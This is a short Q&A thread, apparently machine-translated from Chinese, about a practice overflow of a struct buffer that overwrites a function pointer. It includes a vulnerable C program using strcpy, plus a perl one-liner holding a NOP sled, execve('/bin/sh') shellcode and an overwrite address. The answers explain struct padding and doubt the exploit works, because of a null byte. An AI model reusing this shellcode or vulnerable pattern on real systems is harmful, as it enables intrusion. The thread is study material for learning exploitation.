2015-12-14 80 views
0

当试图执行基本的堆攻击时,我了解所有内容,除了输入字符串的大小。以下代码可以使用perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"'作为该程序的参数。正在使用的shellcode长度为21个字节。这里总字符串的大小是785字节,这是777的缓冲区+4的东西,我不知道和4我们重写的函数指针。堆溢出 - 堆的结构

我读here的4个字节:

指针跟踪堆类似堆栈

是我的假设是正确的堆栈指针的顶部?

#include <stdio.h> 
#include <unistd.h> 

void greetUser(char *s) { 
    printf("Hello %s!\n", s); 
} 

struct data_t { 
    char buf[777]; 
    void (*fp)(char *); 
} somedata; 

int main(int argc, char **argv) { 
    somedata.fp = &greetUser; 

    if(argc < 2) { 
    printf("Usage: %s YourName\n", argv[0]); 
    exit(1); 
    } 

    strcpy(somedata.buf, argv[1]); 
    (somedata.fp)(somedata.buf); 

    return 0; 
} 

回答

2

不,这是不正确的。 你只需要溢出784个字节:在64位系统

char buf[777];  // 777 bytes 
<padding>   // usually 7 bytes to have fp 8-byte-aligned 
void (*fp)(char *); // 8 bytes function pointer 

。在32位系统上,fp应该是4字节对齐的(因此fp在结构开始后开始780字节)

+0

你能解释为什么上面的代码工作(加上4个字节),而不是没有4个字节? – Whitebird

+0

正如我所说的,前777个字节填充阵列buf [777]。接下来的3或7个字节(取决于您的体系结构)会覆盖结构中的填充,这会正确地对齐指针fp。因为数据未被使用,所以覆盖填充完全没有效果。最后,最后,复制的下一个字节覆盖函数指针fp(4或8个字节,也取决于您是否使用ia32或ia64) – Ctx

+1

顺便说一句,如果exploit真的起作用,我会感到惊讶,因为strcpy停止复制第一个0字节(这是你的返回地址的第一个字节) – Ctx